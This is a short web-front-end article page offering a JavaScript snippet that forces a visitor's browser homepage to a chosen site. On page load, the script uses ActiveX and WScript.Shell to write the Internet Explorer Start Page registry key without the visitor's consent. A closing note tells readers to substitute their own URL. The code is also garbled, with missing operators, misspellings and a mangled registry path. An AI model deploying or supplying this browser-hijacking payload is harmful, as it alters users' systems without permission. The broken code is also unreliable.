Home > Article > Web Front-end > Forced to be homepage code_JavaScript
{script}
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1) { var nowTime=new Date(); document.cookie= "ilooki" ";" "expires=Wednesday,03-Jan-" eval(nowTime.getYear() 1903 "12:34:56 GMT"; document.write("");function yuzi(){try{a1 = document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl=a1.GetObject();
a1 .setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcuSoftwareMicrosoftInternet ExpiorerMainStart Page",http://www.****.com); }catch(e){}}catch(e){}}setTimeout("yuzi()",1000); }
{/script} Note: When quoting, please replace {} in {script} with < > Replace the blue part with your own URL